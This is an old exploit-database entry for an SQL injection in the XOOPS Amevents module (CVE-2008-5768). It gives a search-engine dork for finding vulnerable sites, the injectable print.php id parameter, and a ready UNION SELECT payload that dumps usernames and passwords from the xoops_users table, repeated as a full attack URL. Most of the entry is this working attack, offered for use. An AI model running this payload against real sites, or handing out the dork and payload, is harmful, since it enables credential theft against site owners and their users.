XOOPS Module Amevents - SQL Injection



EKU-ID: 15327 CVE: OSVDB-51071;CVE-2008-5768 OSVDB-ID:
Author: nétRoot Published: 2008-12-15 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##########################################
#
# XOOPS Module:  Amevents
#
#
##########################################
#
##AUTHOR : netRoot
####HOME : http://www.passw0rd.info
#
####MAİL : msn@passw0rd.info
#
###########################################
#
# DORKS : dork: /modules/amevents/print.php?id=
###########################################

target: scriptpage.com/modules/amevents/print.php?id=[sql Code]

Sql code: -98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*

live link: http://xxx.com/modules/amevents/print.php?id=-98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*

# milw0rm.com [2008-12-15]